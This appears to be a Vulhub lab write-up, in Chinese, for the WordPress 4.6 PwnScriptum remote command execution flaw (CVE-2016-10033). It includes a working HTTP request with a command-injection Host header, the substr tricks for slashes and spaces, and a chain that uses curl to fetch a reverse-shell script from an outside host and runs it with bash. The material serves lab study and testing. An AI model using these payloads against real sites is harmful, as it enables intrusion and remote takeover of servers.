Wordpress 4.6 任意命令執行漏洞(PwnScriptum)
原理
參考 https://exploitbox.io/vuln/WordPress-Exploit-4-6-RCE-CODE-EXEC-CVE-2016-10033.html
測試環境
編譯及運行測試環境
docker-compose build
docker-compose up -d
由于Mysql初始化需要一段時間,所以請等待。成功運行后,訪問http://your-ip:8080/打開站點,初始化管理員用戶名和密碼后即可使用(數據庫等已經配置好,且不會自動更新)。
測試與EXP使用
發送如下數據包,可見/tmp/success已經成功創建:
POST /wp-login.php?action=lostpassword HTTP/1.1
Host: target(any -froot@localhost -be ${run{${substr{0}{1}{$spool_directory}}bin${substr{0}{1}{$spool_directory}}touch${substr{10}{1}{$tod_log}}${substr{0}{1}{$spool_directory}}tmp${substr{0}{1}{$spool_directory}}success}} null)
Connection: close
User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0)
Accept: */*
Content-Length: 56
Content-Type: application/x-www-form-urlencoded
wp-submit=Get+New+Password&redirect_to=&user_login=admin
但實際利用起來,還是有一些坑需要踏過。具體的坑有這么幾個:
- 執行的命令不能包含大量特殊字符,如
:、引號等。 - 命令會被轉換成小寫字母
- 命令需要使用絕對路徑
- 需要知道某一個存在的用戶的用戶名
為了解決這些坑,漏洞作者想出了,利用${substr{0}{1}{$spool_directory}}代替/,用${substr{10}{1}{$tod_log}}代替空格的方法。
但是還是有很多字符不能用,所以我們需要將待執行的命令放到第三方網站中,然后通過curl -o /tmp/rce example.com/shell.sh的方法先將他下載到/tmp目錄中,再去執行。
所以,總體來說利用過程如下:
- 編寫反彈shell的exp,放到某個網頁里。有如下要求:
- 整個url的大寫字母會被轉換成小寫,所以大寫小敏感的系統不要使用大寫字母做文件路徑
- 訪問該網頁不能跳轉,因為follow跳轉的參數是
-L(大寫)
- 拼接成命令
/usr/bin/curl -o/tmp/rce example.com/shell.sh和命令/bin/bash /tmp/rce - 將上述命令中的空格和
/轉換成${substr{10}{1}{$tod_log}}和${substr{0}{1}{$spool_directory}} - 拼接成HTTP包的Host頭:
target(any -froot@localhost -be ${run{command}} null) - 依次發送這兩個拼接好的數據包
我將上述過程寫成exp腳本,將腳本中target修改成你的目標,user修改成一個已經存在的用戶,shell_url修改成你放置payload的網址。(或直接將target作為第一個參數、shell_url作為第二個參數)
執行即可獲得shell:

Vulhub 文檔